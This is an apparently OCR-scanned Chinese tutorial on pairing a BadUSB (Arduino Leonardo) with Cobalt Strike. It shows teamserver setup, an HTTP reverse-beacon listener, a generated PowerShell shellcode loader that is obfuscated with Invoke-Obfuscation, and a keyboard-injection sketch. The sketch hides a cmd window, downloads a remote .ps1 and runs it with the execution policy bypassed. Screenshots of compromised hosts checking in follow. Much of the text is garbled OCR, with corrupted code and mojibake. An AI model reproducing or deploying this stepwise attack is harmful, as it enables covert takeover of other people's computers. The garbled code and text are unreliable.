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BadUSB g8 3x—fP L% CobaltStrike

Ox01 iEERRARHIE

1.CobaltStrike RSB umERZ

B shenmel

TEEE) EhfEA) WEE) SV MBH)
mfE(A) WE|E) HEN WEH) \ ki eamserver 192.16
qu n 1088 (Local L ) ) -
packets B bytes 409
droppe o [] ] Te ver is up ¢

packets 8 ST L cert is: 64287fc@fac31c@laSccd816c73eadbe639260dal604
errors @ dropped @ ov 6

[+
XH(F) WIR(E) 1BE(S) ME(V) (D) FYIH) agscript agscript bat
L SEGE@ER oo lfF , BEFY
Java 1instal u
cobaltstrike cobalstrike.auth
print_error "keytool \$P cobaltsirike. store  CobahStikeCM.jar

echo " install the Java Developer K
exit

erate a certifi
1y

make sure yo s /path/to/uhatever

5 This is used f

the first certifica

re not being o

nohup.out pecione.bat teamserver

teamserver.bat ‘Win_Linux shell
SCripL.7z

ke .store ]
ill use

print_info

tool -keystore

18 M 22.4 MiB (23,450,636 F4), SRS~ * 5.5

the team

Xx:Parallel

./teamserver 192.168.1.6 admlntlst



2.CobaltStrike ZFRIHFERHESH PS imix

BNRSS IR IP imOZS, RAPREES

Lo Profile Y125 Cobalt Strike(Aggressor RS2

1192 1681 6

FAFH: [admintisy
EEEJ: [a—xkxa—x—a—xk

BE || FEE

\
| [se66 |
|
|

v A » tools » cobaltstrike 3.14 v | D O = cobaltstrike 3.14"
Fa
N ER EHHE E-Sit] Fh
i tEEAE
W =E cobaltstrike 3.14 20
third-party 20
T .
; | agscript 201 KB
E [] agscript.bat 201 KB
= BR | c2lint 201 KB
&= [] c2lintbat 201 <8
A | cobaltstri 201 KB
B _| cobaltstgfe.auth 20 KB
= [%] cobaltstrike.bat 201 KB
| £ cobaltstrike.jar 201 Executable Jar File 22,124 KB
O ikefE _| cobaltstrike.store 2019/ STORE 3rft 3 KB
3D e 5| CobaltStrikeCN jar 2019/ Executable Jar File 768 KB
1= J
B A | peclone 2018/9, it 1 KB
= BR [E] peclone.bat 2019/4/13 17:46 Windows H#AHE, KB
B _| teamserver 2020/5/25 23:01 B == 2 KB
= [E] teamserver.bat 2019/4/12 23:23 I KB
"
¥ T £3 Win_Linux shell script.7z 2019/6/22 10:41 - by 2
K3 _ [ Prearuzc

=
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Cobalt Strike | #1E] WE = #EEN
R =¢ BFLPLU STwEED fa B G

=E internal = user
AL ;
VPNEEO
i
FIAE T

A \

computer note pid last

admintlst

[06/28 23:17] admlntlst

o= @l alioa -

Payload ERIARNE], im/RERHse
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Cobalt Strike #E L RE EEEN
O O E=¢ 8% FPL &

wBE P B G

external internal = user computer note pid
['§ New Listener
Create a listener.
N |
- Payload: (windows/beacon_htpireverse_hitp  ~ |
o[ o=
| Bx | e | . [19216816 ]
ﬂ name payload Jur- 15555?1 |
Save
|
[ Add H Edit H Remove H Restart H E380 \ 22ArS2C
. = |y I R F\r—'

642 Payload 51 J4ER%




Cobalt Strike {1 I RS FEE
+HE-NY MEHTMLAWHCHM o BGH

external FIEWE * | Ms Office Macro mputer note pid last
eSS Wl Payioad Generator
USB/CD AutoPlay
Windows Dropper

Windows Executable
Windows Executable (S)

HExX | mifsEx

name payload host port beacons . .
1 windows/beacon_http/reverse_http  192.168.1.6 6667 10216816 - LIZAIDEC

4k PowerShell



N
- Cobalt Strike ME MW i 256
o O =9 BE PH X

| -
[ ¥l Payload Generator

: F SIS S A I payload
external internal = user last
i
| i [1 || Aga |
- o Fowersne -]
X64: C

C#

COM Scriptlet

Java

Perl

——— N
PowerShell Command

= Python i
HEx | mihesX
name payload host port beacons
1 windows/beacon_http/reverse _http 19216816 G667 19216816
w7 Maarsac

B TIRIFIESEN payload.ps1, ERRNSEFENERTEE L (BZ8E, E5F)



Set-StrictMode -Version 2 U G L
external imernal - uses
sDolt = @ & 19216817 160254248
function func_get_proc_address |
Param (Svar_module, $var_procedure)
$var_unsafe_native methods = ([AppDomain]=CurrentDomain.
§_Location.Spht("\)[- 1].Equals{"System.dII) |).GetType('Microsoft Win32.U
$var_gpa = $var_unsafe native methods.GetMethod{ GetProc
'string))
et var_gpa.nvoke(Snull, @([System.Runtime. InteropServi
(INew-Object IntPtr), (Svar_unsafe_native_methods.GetMethod('GetMod
}

function func_get_delegate_type | BEx | dnZx
Param ( name payload Rost 1 beacons
[Parameter(Position = 0, Mandatory = $True)| [Type| h kT oS T A
[Parameter(Position = 1)) (Type] $var_return_type = s Sl -
)

$var_type_builder = [AppDomain]-CurrentDomain DefineDynal
(ReflectedDelegate?)), [System Reflection Emit AssemblyBuilder Access] R
(MyDelegateType', ‘Class, Public, Sealed, AnsiClass, AutoClass’, [System
$var_type_builder DefineConstructor(RTSpecialName, HideBys
$var_parameters). SetimplementationFlags( Runtime, Managed)
Svar_type_| eMethad('Invoke’, ‘Public, HideBySig, M
Svai_parameters).SetimplementationFlags Runtime, Managed')

retumn $var_type_builder CreateType()

[Byte[]]$var_code = [System.Convert]::FromBase64String

(38ugryMiQ6rGEVFHGHETgHEVGHE 3qF ELURPBRLCEUOPHOINQBD4UWUIUTBOIF OgHEZGGEfIVOOY 1

AuwuluCbw I bXIF 7bGF 8HVSF TgHsHIVBFqC9oqHs/IvCoJ6giBpnBwddet beXLow3tBeagrykV

+501GVyNLVEpNSndLb1 QF IN22EtxDdHROJESZ dVAE IPbKpyMj| 3gSEnlySSBycksoOSMjcHNLAKgB5dz2yF NAEVFxSyMhYGduXFWwaINLYHYNGNZZg ¢

[RECE AL 100%  Urix 1) TES

3. IRiDiEE

PowerShell B9% 3 7]LAA Invoke-Obfuscation, Invoke-Obfuscation FEZEXT ps1 A
TR, FEIE— ps B9 payload.

#HA Invoke-Obfuscation B®fg, £ PowerShell #1755

Import-Module .\Invoke-Obfuscation.psdl

Invoke-Obfuscation



B Windows PowerShell

lomn. psdl

“Gre’ + en’ )

% NearSec




BRI PRIR AR A LAS R
https://blog.csdn.net/ebzxw/article/details/85019887
RRPiTa<, TEERHMEER Ps1 X

set scriptpath c:\xxx\payload.psl

B EEERLIRRY ps D

set scriptblock 'echo xss'

B
- &

HEEE payload.psil

Navicat
Premium 15

'n‘.-

Telegram

| EIP*. |

phpstu

Il oI

at end)

% NearSec




i\ encoding FHEFERID AT, Eban 1
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?Q NearSec

WA, SHAR ps MHEFEERRRE

out C:\xxx\xxx.psl
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. [ SvEBOSepRefErence. TOStRING([1,3]+X -JoIn") (83,101,116 , 45 ,83, 116,114, 105,99 ,116, 77, 111,100, 101, 32, 45, 86, 101 ,1
111,910, 32, 50, 10, 10 .36, 68,111, 73, 116, 32 ,61,32 64,39, 10,102, 117, 110,99, 116, 105,111, 110,32 102,117, 110, 99,95, 10
95,112,114, 111,99 ,95,97, 100, 100,114,101, 115, 115,32, 123,10, 9, 80, 97, 114,97 ,109. 32,40, 36, 118,97, 114,95, 109,111,
=101 .04, 32,36, 118,97,114, 95, 112,114, 111,99, 101, 100.117 ,114,101 .41 ,9,9, 10, 936,118, 97, 114, 95, 117 ,110,115,97, 102.10
97,116, 105,118,101, 95, 109, 101, 116,104, 111,100, 115,32,61, 32, 40,91, 65, 112, 112,68, 111,109, 97, 105, 110,93, 585
114,114,101, 110, 116, 68,111, 109,97 105,110 46, 71,101, 116, 65,115 ,115,101,109 ,98 ,108,105, 101,115, 40 ,41,32,124, 32 87
114,101, 45,79, 98,106, 101, 99, 116, 32,123, 32,36, 9546 ,71, 108, 111,98 ,.97,108 , 65,115, 115,101, 109, 98,108,121 67,97 , 99
45,65 ,110,100,32,36, 95, 46, 76, 111, 99,97 116, 105,111,110, 46,83, 112,108,105,116 , 40, 39, 92, 92,39, 41, 91, 45 .49 ,93, 46, 69,
108,115 40 ,39,83, 121, 115, 116,101, 109, 46, 100,108 108, 39, 41,32, 125 41 46 71, 101 ,116,84,121,112 ,101, 40, 39, 77 ,105,99,1
111,102,116, 46, 87, 105,110 ,51, 50, 46, 85,110, 115, 97,102, 101,78, 97, 116, 105,118, 101, 77, 101, 116,104,111, 100, 115, 3¢
36, 118,97 114,95, 103,112, 97, 32,61.32.36 ., 118, 97.114.95, 117,110, 115, 97, 102, 101,95 ,110.,97.116, 105,118,101, 95,109, 101
111,100, 115 46, 71,101,116, 77 ,101, 116, 104,111 ,100,40, 39,71, 101,116, 80, 114 111 99,65,100, 100,114,101 ,115, 115 ,39,44
121,112,101, 91, 93,93, 32 ,64,40,39, 83,121,115,116, 101, 109, 46, 82, 117,110,116, 105,109, 101,46, 73, 110,116, 101, 114,111
114,118, 7 3 G2 101 10020 4 ENEREC P R LR TV
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101,116, 1 == & -
139,41 ,41 = e QQMusicCache 2006 ; et
41,4144 3 badusbiyH TIMT#® 2020/6/28 11:57 -
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swke NE NI WE HH

DR O HZe B2 ,U GebD sFa s
exernal | user .wmpuler note
& 192 168.1.7
Kl 10216817

internal =
169254 248
160 254 248 K

DESKTOP-G

B | wvax |

1 windows/beacon_hitpireverse_hitp

name payload | host port
192.168.16 6E6T

beacons
102 168.16
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FIEESE. .. [%]4.211.159.163.247 (root) (1)

+ © Management: 5 andscape.canonical .com
& a : s A i * Support: S buntu.com/advantage
| ‘www/admin/localhest_B0/swwroot |
pn gl System information as of Mon Jun 29 ©0:17:01 CST 2020
s T System load: 1.67 Proc s: _
User.ini Usage of /: 61.8% of 49.15GBE Users logged 1n:
) &4 ADMINT1ST.PS1 I'jemory_usage: 45% Ip aggr 55 ;or gthE:
= | BANANA.PS 1 Swap usage: 0% IP addres: or dockerg:
| @ index.htl « "If you've been waiting for the perfect Kubernetes dev solution
mac05, the wait 1s over. Learn how to install Microk8s on macOs.
v
[ * Canonical Livepatch 1s available for installation.
" - Reduce system reboots and improve kernel security. Activate at
< Last login: Fri Jun 19 14:28:57 2020 from 101.248.2087.44
— o 6-ubuntu: cd /www/admin/localhost 80/wwwroot/
R nELEE roob@yM 0O R '_!buntu:;"mm,-"adm;m"1_aca]_host_aEl,-"mmrootW N o
» I.-'.\IZZIMlI"JTlST.P51 BANANA.PS1 index.html earoec
LRk e sk rOTT@VM=G=g=ubuntu: /www/admin/localhost_88/wwwroot# ]
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2. ¥JFF Arduino IDE

TE -> #x -> %% "Arduino Leonardo"



2

X R TR IR #8

Earaziih Ctrl+T
mME&=
sketch 124 EEETESS
void setwp() { =Musns Ctrl+Shift+M
i putpower sl
Kevhosrd. beg f&: "Arduino Leonardo” 3

delay(3000);/, Port: "COMG (Arduino Le.."

18R "AVRISP mkil”
EESISER

delay
Keybosrd press

Boards Manager...

delay(500)
Kevbosard release (KEY_LEFT_GUL):

Kevboard releasel v );

Kevhosrd. presz (KEY_CAPS_LOCK); //H H 55 G Egids
Kevhosrd release (KEY_CAPS_LOCK);

del a}'(EUU) :

Kevbosrd. print]n(“ﬂ[ﬂ Fo A S off Svion /l MODE con: cols=1%
//Eeyboard. printlnl end /T:01 /K \'@echo off && mode con:COLS=L
delay(500);

Kevbesrd. press(KEY_BETURN) ;

Keybosrd release (KEY_RETURI);

delay(2000);

Keybosard. println{ powershell”);

Keyboard println{ $clnt = new—ohject =w=+-= net wehclient;”):

Teensy Boards
Teensy 3.1
Teensy 3.0
Teensy LC
Teensy 2.0
Teensy++ 2.0

Keyboard printlni $url= "http:, 4781/ admintlst. §

im -> 15%6% "COM (Arduino Leonardo)"

Arduino AVR 1R

Arduino Yan

Arduino Uno

Arduino Duemilanove or Diecimila
Arduino Nano

Arduino Mega or Mega 2560
Arduino Mega ADK
Arduino Leonardo
Arduino Micro

Arduino Esplora

H [

—

O Mearsec



M fRE TH 1R =

sketcH_juni12a

void setupl) {
S putpower sl
Kevhosrd. heg
delaw(3000); /4
Kevhosrd. pre
del ay (SO0
Kevhosrd. press

SarEik Crel+T
mEF=

REELEER

SR Ctrl +Shift+M

th: "Arduino Leonardo”
Port: "COMB (Arduino Le..."

RIEEE: "AVRISP mkil®
BRI ISERF

EW]

Serial ports
COM3
~  COMBG (Arduine Lecnardo)

delay (5007,

Kevhosrd. release (KET_LEFT_GUI);
Kevhoard releaze( =" J;

3. BLATREREEZ] arduino

void setup() {

// putpower shell your setup code here, to run once

Keyboard.begin();// /45 #4540 i

delay(3000);// ZEH]

Keyboard.press(KEY_LEFT_GUI);//win##

delay(500);

Keyboard.press('r');//r##

delay(500);

Keyboard.release(KEY_LEFT_GUI);

0
Lt

1L
1



Keyboard.
Keyboard.
Keyboard.

release('r");
press(KEY_CAPS_LOCK) ; // FI/HIF A G G EEL Fp A 72
release(KEY_CAPS_LOCK);

delay(500);

Keyboard.

println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1"); // /A2

//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //H/Ai#
delay(500);

Keyboard.
Keyboard.

press(KEY_RETURN);
release(KEY_RETURN);

delay(2000);

Keyboard.
Keyboard.
Keyboard.
Keyboard.
Keyboard.
Keyboard.

Keyboard

Keyboard.
Keyboard.
Keyboard.
Keyboard.

}

println("powershell");

println("$clnt = new-object system.net.webclient;");

println("$url= "http://Xxx.XX.XX.XX/xxx.ps1"';"); //ZFERF#Eps1 i)

println("$file = "d:\\xxx.psl';"); /) FEEH R T
println("$clnt.downloadfile($url,$file)"); // R IFMEHITEEL K KIGHFE L1
println("powershell.exe -executionpolicy bypass -file d:\\xxx.psl1"); // MRS HATAKLHI2

.press(KEY_RETURN);

release(KEY_RETURN);
press(KEY_CAPS_LOCK);
release(KEY_CAPS_LOCK);
end () ;// 25 EE 7 i A

void loop() {

// put your main code here, to run repeatedly:

(AEEPNYCVEH

i A\BadUsb & 2515370
% FWindows+R

kNG

TH A

BN TA5 8, S/ MEST T emd &7 1
BesRAm ARG E fr 4, N Bz % 1 ] powershe 113147

4. FETRHITRFIER



AT/, 252 BadUSB 8, 3ISHES T, ERAREIERN

B8 sketch junil Arduino 1.6.4

Mt RE WE IR EH

void setupl) ~
S/ putpower sMgll your setup code here, to run once
Keyhosrd beginW //F U BE SR

delay(3000) ;A ERT

Keybosrd press(KEY_LEFS_GUT)://winfi

delay(500) ;

Kevboard press('z" ) //cif

dela(500);

Keyhosrd release (KEY_LEFT_GUI);

Kevheard release(' z");

Keybosard. press(KEY_CAPS_LOCK) ; /% FioF K54 s

Keyhosrd. release (KET_CAPS_LOCK);

delay(500);

Keyhosard println("ljﬂl Fq A SEoff fvion /T MODE con: cols=15 lines=1 "y AW

SEevboard. 1)1'i11r111f"cmd JT:01 /K \"®@echo off &% mode econ:COLS=15 LINES=1)""): 108

dela}'(EUU) ;

Keybosard press (KE"[_PITU'PJT) ;

Kevhoard release (KE"[_PITUT‘.H) ;

del a:.'(EUUU) ;

Keybosrd println( powershell”);

Key‘:oard. |Jrint1n("$c1nt = 1197—01.1_]'901' system. net. wehelient; )
Kevhoard. |Jrint1n(“$m‘1= Il’lttp:}" ‘ntlst. psl' Y SAEEEAR i’j—:'.a"psljgl';’.|$|li
Hluhk:

Keyboard printlnl $file = " d:\\adnintlst psi ; »: AT ELE] B AT RO R
Keybosrd println{ $clnt. downloadfile (furl, $file)”): J// % YEL it
Kevhoard printlnl powershell. exe —executiompelicy bypass —file d:\\admintist psi”): //4HUBLR
Keybosrd. press(KEY_RETURI)

Keybosrd velease (KEV_RETURN) ;

Kevhoard press(KEY_CAPS_LOCK):

Kevboard release (KEY_CAPS_LOCK):

Kewbosad. endl); /&5 50 #LIM i v

iy <k K i FR R

% NearSec B

Arduine xnarde
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SHEUETRIE, ARBEEE m L BCKE

% NearSec”:'
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CAaWindows\system32\cmd.exe - POWERSHELL

% NearSea
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['§ Cobalt Strike
Cobalt Strike flE I RS Z5EN
O O EH=¢ 82U ETwBELH ca B G

mal =

i

external

Licoue r-nmpl o nrJte p|d |ast
DESKTOP-G...

| = | DESKTOP-G...
| = | 2.1 DESKTOP-G...
[ | 2. 1€ 18.]. DESKTOP-G...
22| 3 17: 130 ANNA-PC 2536 98h
22 W0 177 031 Ann ANNA-PC 2744 358h L
[« | B2 149 1102 %% DESKTOP-K .. 22392 234h X
B 10 237 1 4103 John* JOHN-PC 1308 232h ”
& oo 32 W70 wxb DESKTOP-5... 1480 181h

i3.2 168.70.1. wxb DESKTOP-5 2180 181h M |

(DESKTOP-GTRLJKD)

(DESKTOP-GTRLJKD)

L K : 1 (DESKTOP-GTRLJIKD)

* initial beacon froh ¥ A . : (DESKTOFP-GTRLJKD)

[lag: 00]
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